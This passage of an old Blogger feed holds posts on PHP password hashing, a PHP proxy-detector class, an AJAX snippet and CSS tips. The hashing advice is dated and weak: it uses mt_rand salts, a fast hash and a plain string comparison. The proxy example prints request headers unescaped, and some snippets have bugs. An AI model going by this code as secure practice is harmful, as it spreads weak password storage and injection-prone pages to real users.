src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-6610153694714383690</id><published>2008-01-17T09:33:00.001+11:00</published><updated>2008-01-18T17:03:00.438+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>PHP HASH</title><content type='html'>&lt;p&gt;If you build websites that require users to register it’s your responsibility to keep their passwords safe. And if you’re storing the passwords in plain text then you’re not doing your job properly. It may be that, &lt;a href="http://reddit.com/info/usqe/comments/cuugl"&gt;like Reddit&lt;/a&gt;, you think that storing passwords in plain text leads to a better user experience. I happen to agree with you. But then, like Reddit, what happens if your database is stolen? It’s not just your site that is compromised. Since most users use the same password on multiple sites, all those sites have also been compromised.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;No data is entirely secure, and if anyone else has access to your webserver (the company managing the server for you?) or your database (the company storing the backups?) then you don’t have total control over the security anyway. So there’s always a chance your database could be stolen. So, the simple rule is to hash your passwords.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Hashing&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;A hash is a string derived from the original password via a one-way algorithm. In other words, it’s easy to create the hash from the original, but harder (when used for security, ideally impossible) to create the original from the hash. You store the hash in the database, and when the user signs-in you hash the password they sign-in with and compare it to the hash in the database. Something like this&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;if( $user-&amp;gt;passwordhash == sha1( $_POST['password'] ) )&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;That way, you never store the user’s password.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;There are a number of hashing algorithms in PHP, of which md5 and sha1 are the most commonly used. Unfortunately, neither is as secure as they were once thought to be. It would be better to use a more secure hash, and if you have the Hash engine in your PHP installation (included by default since PHP 5.1.2) then you have access to many more algorithms. So a better example would be&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;if( $user-&amp;gt;passwordhash == hash( 'whirlpool', $_POST['password'] ) )&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Rainbow tables&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;But there’s another problem. Once your database is stolen, the thief has plenty of time to crack the passwords using a simple &lt;a href="http://www.codinghorror.com/blog/archives/000949.html"&gt;Rainbow Table attack&lt;/a&gt;. This involves creating a large selection of hashes based on likely passwords (e.g. every word in the dictionary) and then comparing the hashes with the hashes in your database. Within an hour or so, half the passwords in your database will probably have been cracked.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;To prevent this you should salt each password by adding a random string to it (called a salt or nonce). The time consuming part of a rainbow table attack is building the dictionary of hashes. Adding a random salt to the password means the thief has to build a whole new dictionary of hashes for each salt, making a rainbow table attack too time consuming to be viable. Each password should have a different salt, and the salt doesn’t even need to be secret.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;The Code bit&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;So, for secure passwords you need code that looks something like this&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;// get a new salt - 8 hexadecimal characters long&lt;br /&gt;// current PHP installations should not exceed 8 characters&lt;br /&gt;// on dechex( mt_rand() )&lt;br /&gt;// but we future proof it anyway with substr()&lt;br /&gt;function getPasswordSalt()&lt;br /&gt;{&lt;br /&gt;    return substr( str_pad( dechex( mt_rand() ), 8, '0',&lt;br /&gt;                                           STR_PAD_LEFT ), -8 );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// calculate the hash from a salt and a password&lt;br /&gt;function getPasswordHash( $salt, $password )&lt;br /&gt;{&lt;br /&gt;    return $salt . ( hash( 'whirlpool', $salt . $password ) );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// compare a password to a hash&lt;br /&gt;function comparePassword( $password, $hash )&lt;br /&gt;{&lt;br /&gt;    $salt = substr( $hash, 0, 8 );&lt;br /&gt;    return $hash == getPasswordHash( $salt, $password );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// get a new hash for a password&lt;br /&gt;$hash = getPasswordHash( getPasswordSalt(), $password );&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;You don’t have to attach the salt to the hash, you can instead store them separately within the database, but I like keeping them together in a single string. Equally, the salt needn’t be in hexadecimal, but I like the symmetry with the hexadecimal hash.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Finally, &lt;a href="http://www.matasano.com/log/958/enough-with-the-rainbow-tables-what-you-need-to-know-about-secure-password-schemes/"&gt;as Thomas Ptacek points out&lt;/a&gt;, you don’t want the fastest hash algorithm in the world for this - a fast algorithm is more useful to an attacker than it is to you.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Good Encryption: http://drupal.org/project/phpass&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-6610153694714383690?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/6610153694714383690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=6610153694714383690' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/6610153694714383690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/6610153694714383690'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2008/01/php-hash.html' title='PHP HASH'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-1035409808069082558</id><published>2008-01-16T22:47:00.000+11:00</published><updated>2008-01-17T11:28:00.618+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Proxy Detector</title><content type='html'>&lt;pre&gt;&amp;lt;?&lt;br /&gt;/**&lt;br /&gt;* Proxy Detector v0.1&lt;br /&gt;*  copyrights by: Daantje Eeltink (me@daantje.nl)&lt;br /&gt;*      http://www.daantje.nl&lt;br /&gt;*&lt;br /&gt;*  first build: Mon Sep 18 21:43:48 CEST 2006&lt;br /&gt;*  last build: Tue Sep 19 10:37:12 CEST 2006&lt;br /&gt;*&lt;br /&gt;* Description:&lt;br /&gt;*  This class can detect if a visitor uses a proxy server by scanning the&lt;br /&gt;*  headers returned by the user client. When the user uses a proxy server,&lt;br /&gt;*  most of the proxy servers alter the header. The header is returned to&lt;br /&gt;*  PHP in the array $_SERVER.&lt;br /&gt;*&lt;br /&gt;* License:&lt;br /&gt;*  GPL v2 licence. (http://www.gnu.org/copyleft/gpl.txt)&lt;br /&gt;*&lt;br /&gt;* Support:&lt;br /&gt;*  If you like this class and find it usefull, please donate one or two&lt;br /&gt;*  coins to my PayPal account me@daantje.nl&lt;br /&gt;*&lt;br /&gt;* Todo:&lt;br /&gt;*  Add open proxy black list scan.&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;class proxy_detector {&lt;br /&gt;&lt;br /&gt; /**&lt;br /&gt; * CONSTRUCTOR&lt;br /&gt; * Set defaults...&lt;br /&gt; */&lt;br /&gt; function proxy_detector(){&lt;br /&gt;  $this-&amp;gt;config = array();&lt;br /&gt;  $this-&amp;gt;lastLog = &amp;quot;&amp;quot;;&lt;br /&gt;&lt;br /&gt;        //set default headers&lt;br /&gt;  $this-&amp;gt;scan_headers = array(&lt;br /&gt;   'HTTP_VIA',&lt;br /&gt;   'HTTP_X_FORWARDED_FOR',&lt;br /&gt;   'HTTP_FORWARDED_FOR',&lt;br /&gt;   'HTTP_X_FORWARDED',&lt;br /&gt;   'HTTP_FORWARDED',&lt;br /&gt;   'HTTP_CLIENT_IP',&lt;br /&gt;   'HTTP_FORWARDED_FOR_IP',&lt;br /&gt;   'VIA',&lt;br /&gt;   'X_FORWARDED_FOR',&lt;br /&gt;   'FORWARDED_FOR',&lt;br /&gt;   'X_FORWARDED',&lt;br /&gt;   'FORWARDED',&lt;br /&gt;   'CLIENT_IP',&lt;br /&gt;   'FORWARDED_FOR_IP',&lt;br /&gt;   'HTTP_PROXY_CONNECTION'&lt;br /&gt;  );&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; /**&lt;br /&gt; * VOID setHeader( STRING $trigger )&lt;br /&gt; * Set new header trigger...&lt;br /&gt; */&lt;br /&gt; function setHeader($trigger){&lt;br /&gt;  $this-&amp;gt;scan_headers[] = $trigger;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; /**&lt;br /&gt; * ARRAY $triggers = getHeaders( VOID )&lt;br /&gt; * Get all triggers in one array&lt;br /&gt; */&lt;br /&gt; function getHeaders(){&lt;br /&gt;     return $this-&amp;gt;scan_headers;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; /**&lt;br /&gt; * VOID setConfig( STRING $key,  STRING $value)&lt;br /&gt; * Set config line...&lt;br /&gt; */&lt;br /&gt; function setConfig($key,$value){&lt;br /&gt;  $this-&amp;gt;config[$key] = $value;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; /**&lt;br /&gt; * MIXED $config = getConfig( [STRING $key] )&lt;br /&gt; * Get all config in one array, or only one config value as a string.&lt;br /&gt; */&lt;br /&gt; function getConfig($key=''){&lt;br /&gt;     if($key)&lt;br /&gt;      return $this-&amp;gt;config[$key];&lt;br /&gt;     else&lt;br /&gt;      return $this-&amp;gt;config;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; /**&lt;br /&gt; * STRING $log = getLog( VOID )&lt;br /&gt; * Get last logged information. Only works AFTER calling detect()!&lt;br /&gt; */&lt;br /&gt; function getLog(){&lt;br /&gt;  return $this-&amp;gt;lastLog;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; /**&lt;br /&gt; * BOOL $proxy = detect( VOID )&lt;br /&gt; * Start detection and return true if a proxy server is detected...&lt;br /&gt; */&lt;br /&gt; function detect(){&lt;br /&gt;  $log = &amp;quot;&amp;quot;;&lt;br /&gt;&lt;br /&gt;  //scan all headers&lt;br /&gt;  foreach($this-&amp;gt;scan_headers as $i){&lt;br /&gt;   //proxy detected? lets log...&lt;br /&gt;   if($_SERVER[$i])&lt;br /&gt;    $log.= &amp;quot;trigger $i: &amp;quot;.$_SERVER[$i].&amp;quot;\n&amp;quot;;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;     //let's do something...&lt;br /&gt;  if($log){&lt;br /&gt;   $log = $this-&amp;gt;lastLog = date(&amp;quot;Y-m-d H:i:s&amp;quot;)&lt;br /&gt;.&amp;quot;\nDetected proxy server: &amp;quot;&lt;br /&gt;.gethostbyaddr($_SERVER['REMOTE_ADDR']).&amp;quot; ({$_SERVER['REMOTE_ADDR']})\n&amp;quot;.$log;&lt;br /&gt;&lt;br /&gt;   //mail message&lt;br /&gt;            if($this-&amp;gt;getConfig('MAIL_ALERT_TO'))&lt;br /&gt;    mail($this-&amp;gt;getConfig('MAIL_ALERT_TO'),&amp;quot;&lt;br /&gt;    Proxy detected at {$_SERVER['REQUEST_URI']}&amp;quot;,$log);&lt;br /&gt;&lt;br /&gt;   //write to file&lt;br /&gt;   $f = $this-&amp;gt;getConfig('LOG_FILE');&lt;br /&gt;            if($f){&lt;br /&gt;    if(is_writable($f)){&lt;br /&gt;     $fp = fopen($f,'a');&lt;br /&gt;     fwrite($fp,&amp;quot;$log\n&amp;quot;);&lt;br /&gt;     fclose($fp);&lt;br /&gt;             }else{&lt;br /&gt;     die(&amp;quot;&amp;lt;strong&amp;gt;Fatal Error:&amp;lt;/strong&amp;gt; Couldn't write to file: &lt;br /&gt;'&amp;lt;strong&amp;gt;$f&amp;lt;/strong&amp;gt;'&amp;lt;br&amp;gt;&lt;br /&gt;Please check if the path exists and is writable for the webserver or php...&amp;quot;);&lt;br /&gt;             }&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;   //done&lt;br /&gt;   return true;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  //nope, no proxy was logged...&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Browsing the code you will notice that it uses a log file to store the data so we will have to create one called &amp;quot;&lt;br /&gt;proxy_detector.log&amp;quot;. Don't forget to give it the proper permission on the server (CHMOD it to make it writable).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ok so we already have 2 files. Let's go ahead and create a new one called &amp;quot;proxy_detector.inc.php&amp;quot;&lt;br /&gt;.This one will initiate our class for our future use and do what we want it to do so I suggest you to edit it to suit your needs. Copy paste this code and save it:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   &lt;pre&gt;&amp;lt;?&lt;br /&gt;/**&lt;br /&gt;* Proxy Detector v0.1&lt;br /&gt;* Implementation example.&lt;br /&gt;*&lt;br /&gt;* Mon Sep 18 23:29:47 CEST 2006&lt;br /&gt;* by: me@daantje.nl&lt;br /&gt;*&lt;br /&gt;* Documentation:&lt;br /&gt;*  I use this file as an include at the top of some php files&lt;br /&gt;*  to block proxy users from the scripts that included this file.&lt;br /&gt;*&lt;br /&gt;*  This file is only an example on how to implement the detector class.&lt;br /&gt;*  But it could be usefull as is...&lt;br /&gt;*&lt;br /&gt;*  Check the remarks in the class for more documentation.&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;//include detector class, assuming it's in the same directory as this file...&lt;br /&gt;include_once(dirname(__FILE__).&amp;quot;/proxy_detector.class.php&amp;quot;);&lt;br /&gt;&lt;br /&gt;//init class&lt;br /&gt;$proxy = new proxy_detector();&lt;br /&gt;&lt;br /&gt;//set optional extra triggers, no need to... &lt;br /&gt;//I think I've got all of them covered in the class...&lt;br /&gt;// $proxy-&amp;gt;setTrigger('HTTP_SOME_HEADER_1');&lt;br /&gt;// $proxy-&amp;gt;setTrigger('HTTP_SOME_HEADER_2');&lt;br /&gt;&lt;br /&gt;//set optional config&lt;br /&gt;// $proxy-&amp;gt;setConfig('MAIL_ALERT_TO','me@daantje.nl');&lt;br /&gt;// $proxy-&amp;gt;setConfig('LOG_FILE','/home/daantje/public_html/proxy/proxy_detector.log');&lt;br /&gt;&lt;br /&gt;//start detect&lt;br /&gt;if($proxy-&amp;gt;detect()){&lt;br /&gt;&lt;br /&gt;    //returned true, lets die...&lt;br /&gt; echo &amp;quot;&amp;lt;h1&amp;gt;Proxy detected&amp;lt;/h1&amp;gt;&amp;quot;;&lt;br /&gt; echo &amp;quot;&lt;br /&gt; Please disable your proxy server in your browser preferences or internet settings,&lt;br /&gt; and try again.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;&lt;br /&gt; //parse logged info&lt;br /&gt; echo nl2br($proxy-&amp;gt;getLog());&lt;br /&gt;&lt;br /&gt;    //some credits...&lt;br /&gt; echo &amp;quot;&amp;lt;hr&amp;gt;&amp;lt;strong&amp;gt;proxy detector v0.1&amp;lt;/strong&amp;gt; &lt;br /&gt;- &amp;amp;copy;2006 &amp;lt; a href=\&amp;quot;http://www.daantje.nl\&amp;quot; &lt;br /&gt;target=\&amp;quot;_blank\&amp;quot;&amp;gt;daantje.nl&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;&lt;br /&gt; //and do nothing anymore! (but not in my example)&lt;br /&gt; //exit();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//else, proceed as normal, put your code here...&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-1035409808069082558?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/1035409808069082558/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=1035409808069082558' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/1035409808069082558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/1035409808069082558'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2008/01/proxy-detector.html' title='Proxy Detector'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-4436312186266487306</id><published>2007-12-28T16:26:00.000+11:00</published><updated>2008-01-17T10:45:12.312+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>DOM / AJAX</title><content type='html'>&lt;pre class="code"&gt;&lt;br /&gt;function view_detail(id) { &lt;br /&gt;  // delete detail rows&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;  // create a new row with one cell in it&lt;br /&gt;  var main_table = document.getElementsByTagName('table')[0];&lt;br /&gt;  var table_row = document.getElementById('tr'+id);&lt;br /&gt;&lt;br /&gt;  var row_index = table_row.rowIndex;&lt;br /&gt;  var new_row = main_table.insertRow(row_index+1);&lt;br /&gt;  var cell_a = new_row.insertCell(0);&lt;br /&gt;  cell_a.colSpan = "7";&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;  // create a input box&lt;br /&gt;  var textbox = document.createElement('input');&lt;br /&gt;    textbox.type = 'text';&lt;br /&gt;    textbox.name = 'txtRow' + id;&lt;br /&gt;    textbox.id = 'txtRow' + id;&lt;br /&gt;    textbox.size = 220;&lt;br /&gt;  cell_a.appendChild(textbox);&lt;br /&gt;  &lt;br /&gt;  // trigger Ajax&lt;br /&gt;        xHRObject.onreadystatechange = getData(id);  &lt;br /&gt;  xHRObject.open("GET", "log_detail.php?id="+id, false);&lt;br /&gt;  xHRObject.send(null);&lt;br /&gt;&lt;br /&gt; }&lt;br /&gt;    &lt;br /&gt;    function getData(id){&lt;br /&gt;         if ((xHRObject.readyState==4) &amp;&amp; (xHRObject.status==200))&lt;br /&gt;   { &lt;br /&gt;    alert("yap");&lt;br /&gt;    var textbox = document.getElementById('txtRow'+id);&lt;br /&gt;    textbox.value = xHRObject.responseText;&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-4436312186266487306?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/4436312186266487306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=4436312186266487306' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/4436312186266487306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/4436312186266487306'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/12/dom-ajax.html' title='DOM / AJAX'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-1559636661228398826</id><published>2007-12-01T15:37:00.000+11:00</published><updated>2008-01-17T10:45:33.332+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>10 Trick in CSS design</title><content type='html'>1. CSS font shorthand rule&lt;br /&gt;&lt;br /&gt;When styling fonts with CSS you may be doing this:&lt;br /&gt;font-size: 1em;&lt;br /&gt;line-height: 1.5em;&lt;br /&gt;font-weight: bold;&lt;br /&gt;font-style: italic;&lt;br /&gt;font-variant: small-caps;&lt;br /&gt;font-family: verdana,serif;&lt;br /&gt;&lt;br /&gt;There's no need though as you can use this CSS shorthand property:&lt;br /&gt;font: 1em/1.5em bold italic small-caps verdana,serif&lt;br /&gt;&lt;br /&gt;Much better! Just a couple of words of warning: This CSS shorthand version will only work if you're specifying both the font-size and the font-family. Also, if you don't specify the font-weight, font-style, or font-varient then these values will automatically default to a value of normal, so do bear this in mind too.&lt;br /&gt;2. Two classes together&lt;br /&gt;&lt;br /&gt;Usually attributes are assigned just one class, but this doesn't mean that that's all you're allowed. In reality, you can assign as many classes as you like! For example:&lt;br /&gt;&amp;#60;p class="text side"&amp;#62;...&amp;#60;/p&amp;#62;&lt;br /&gt;&lt;br /&gt;Using these two classes together (separated by a space, not with a comma) means that the paragraph calls up the rules assigned to both text and side. If any rules overlap between the two classes then the class which is below the other in the CSS document will take precedence.&lt;br /&gt;3. CSS border default value&lt;br /&gt;&lt;br /&gt;When writing a border rule you'll usually specify the colour, width and style (in any order). For example, border: 3px solid #000 will give you a black solid border, 3px thick. However the only required value here is the border style.&lt;br /&gt;&lt;br /&gt;If you were to write just border: solid then the defaults for that border will be used. But what defaults? Well, the default width for a border is medium (equivalent to about 3 to 4px) and the default colour is that of the text colour within that border. If either of these are what you want for the border then you can leave them out of the CSS rule!&lt;br /&gt;4. !important ignored by IE&lt;br /&gt;&lt;br /&gt;Normally in CSS whichever rule is specified last takes precedence. However if you use !important after a command then this CSS command will take precedence regardless of what appears after it. This is true for all browsers except IE. An example of this would be:&lt;br /&gt;margin-top: 3.5em !important; margin-top: 2em&lt;br /&gt;&lt;br /&gt;So, the top margin will be set to 3.5em for all browsers except IE, which will have a top margin of 2em. This can sometimes come in useful, especially when using relative margins (such as in this example) as these can display slightly differently between IE and other browsers.&lt;br /&gt;&lt;br /&gt;(Many of you may also be aware of the CSS child selector, the contents of which IE ignores.)&lt;br /&gt;5. Image replacement technique&lt;br /&gt;&lt;br /&gt;It's always advisable to use regular HTML markup to display text, as opposed to an image. Doing so allows for a faster download speed and has accessibility benefits. However, if you've absolutely got your heart set on using a certain font and your site visitors are unlikely to have that font on their computers, then really you've got no choice but to use an image.&lt;br /&gt;&lt;br /&gt;Say for example, you wanted the top heading of each page to be ‘Buy widgets’, as you're a widget seller and you'd like to be found for this phrase in the search engines. You're pretty set on it being an obscure font so you need to use an image:&lt;br /&gt;&amp;#60;h1&amp;#62;&amp;#60;img src="widget-image.gif" alt="Buy widgets" /&amp;#62;&amp;#60;/h1&amp;#62;&lt;br /&gt;&lt;br /&gt;This is OK but there's strong evidence to suggest that search engines don't assign as much importance to alt text as they do real text (because so many webmasters use the alt text to cram in keywords). So, an alternative would be:&lt;br /&gt;&amp;#60;h1&amp;#62;&amp;#60;span&amp;#62;Buy widgets&amp;#60;/span&amp;#62;&amp;#60;/h1&amp;#62;&lt;br /&gt;&lt;br /&gt;Now, this obviously won't use your obscure font. To fix this problem place these commands in your CSS document:&lt;br /&gt;h1&lt;br /&gt;{&lt;br /&gt;background: url(widget-image.gif) no-repeat;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;h1 span&lt;br /&gt;{&lt;br /&gt;position: absolute;&lt;br /&gt;left:-2000px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The image, with your fancy font, will now display and the regular text will be safely out of the way, positioned 2000px to the left of the screen thanks to our CSS rule.&lt;br /&gt;6. CSS box model hack alternative&lt;br /&gt;&lt;br /&gt;The box model hack is used to fix a rendering problem in pre-IE 6 browsers, where by the border and padding are included in the width of an element, as opposed to added on. For example, when specifying the dimensions of a container you might use the following CSS rule:&lt;br /&gt;#box&lt;br /&gt;{&lt;br /&gt;width: 100px;&lt;br /&gt;border: 5px;&lt;br /&gt;padding: 20px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;This CSS rule would be applied to:&lt;br /&gt;&amp;#60;div id=&amp;quot;box&amp;quot;&amp;#62;...&amp;#60;/div&amp;#62;&lt;br /&gt;&lt;br /&gt;This means that the total width of the box is 150px (100px width + two 5px borders + two 20px paddings) in all browsers except pre-IE 6 versions. In these browsers the total width would be just 100px, with the padding and border widths being incorporated into this width. The box model hack can be used to fix this, but this can get really messy.&lt;br /&gt;&lt;br /&gt;A simple alternative is to use this CSS:&lt;br /&gt;#box&lt;br /&gt;{&lt;br /&gt;width: 150px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#box div&lt;br /&gt;{&lt;br /&gt;border: 5px;&lt;br /&gt;padding: 20px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;And the new HTML would be:&lt;br /&gt;&lt;br /&gt;&amp;#60;div id=&amp;quot;box&amp;quot;&amp;#62;&lt;strong&gt;&amp;#60;div&amp;#62;&lt;/strong&gt;...&lt;strong&gt;&amp;#60;/div&amp;#62;&lt;/strong&gt;&amp;#60;/div&amp;#62;&lt;br /&gt;&lt;br /&gt;Perfect! Now the box width will always be 150px, regardless of the browser!&lt;br /&gt;7. Centre aligning a block element&lt;br /&gt;&lt;br /&gt;Say you wanted to have a fixed width layout website, and the content floated in the middle of the screen. You can use the following CSS command:&lt;br /&gt;#content&lt;br /&gt;{&lt;br /&gt;width: 700px;&lt;br /&gt;margin: 0 auto;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;You would then enclose &amp;#60;div id=&amp;quot;content&amp;quot;&amp;#62; around every item in the body of the HTML document and it'll be given an automatic margin on both its left and right, ensuring that it's always placed in the centre of the screen. Simple... well not quite - we've still got the pre-IE 6 versions to worry about, as these browsers won't centre align the element with this CSS command. You'll have to change the CSS rules:&lt;br /&gt;body&lt;br /&gt;{&lt;br /&gt;&lt;strong&gt;text-align: center&lt;/strong&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#content&lt;br /&gt;{&lt;br /&gt;&lt;strong&gt;text-align: left&lt;/strong&gt;;&lt;br /&gt;width: 700px;&lt;br /&gt;margin: 0 auto;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;This will then centre align the main content, but it'll also centre align the text! To offset the second, probably undesired, effect we inserted text-align: left into the content div.&lt;br /&gt;8. Vertically aligning with CSS&lt;br /&gt;&lt;br /&gt;Vertically aligning with tables was a doddle. To make cell content line up in the middle of a cell you would use vertical-align: middle. This doesn't really work with a CSS layout. Say you have a navigation menu item whose height is assigned 2em and you insert this vertical align command into the CSS rule. It basically won't make a difference and the text will be pushed to the top of the box.&lt;br /&gt;&lt;br /&gt;Hmmm... not the desired effect. The solution? Specify the line height to be the same as the height of the box itself in the CSS. In this instance, the box is 2em high, so we would insert line-height: 2em into the CSS rule and the text now floats in the middle of the box - perfect!&lt;br /&gt;9. CSS positioning within a container&lt;br /&gt;&lt;br /&gt;One of the best things about CSS is that you can position an object absolutely anywhere you want in the document. It's also possible (and often desirable) to position objects within a container. It's simple to do too. Simply assign the following CSS rule to the container:&lt;br /&gt;#container&lt;br /&gt;{&lt;br /&gt;position: relative;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Now any element within this container will be positioned relative to it. Say you had this HTML structure:&lt;br /&gt;&lt;br /&gt;&amp;#60;div id=&amp;quot;container&amp;quot;&amp;#62;&amp;#60;div id=&amp;quot;navigation&amp;quot;&amp;#62;...&amp;#60;/div&amp;#62;&amp;#60;/div&amp;#62;&lt;br /&gt;&lt;br /&gt;To position the navigation exactly 30px from the left and 5px from the top of the container box, you could use these CSS commands:&lt;br /&gt;#navigation&lt;br /&gt;{&lt;br /&gt;position: absolute;&lt;br /&gt;left: 30px;&lt;br /&gt;top: 5px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Perfect! In this particular example, you could of course also use margin: 5px 0 0 30px, but there are some cases where it's preferable to use positioning.&lt;br /&gt;10. Background colour running to the screen bottom&lt;br /&gt;&lt;br /&gt;One of the disadvantages of CSS is its inability to be controlled vertically, causing one particular problem which a table layout doesn't suffer from. Say you have a column running down the left side of the page, which contains site navigation. The page has a white background, but you want this left column to have a blue background. Simple, you assign it the appropriate CSS rule:&lt;br /&gt;#navigation&lt;br /&gt;{&lt;br /&gt;background: blue;&lt;br /&gt;width: 150px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Just one problem though: Because the navigation items don't continue all the way to the bottom of the screen, neither does the background colour. The blue background colour is being cut off half way down the page, ruining your great design. What can you do!?&lt;br /&gt;&lt;br /&gt;Unfortunately the only solution to this is to cheat, and assign the body a background image of exactly the same colour and width as the left column. You would use this CSS command:&lt;br /&gt;body&lt;br /&gt;{&lt;br /&gt;background: url(blue-image.gif) 0 0 repeat-y;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;This image that you place in the background should be exactly 150px wide and the same blue colour as the background of the left column. The disadvantage of using this method is that you can't express the left column in terms of em, as if the user resizes text and the column expands, it's background colour won't.&lt;br 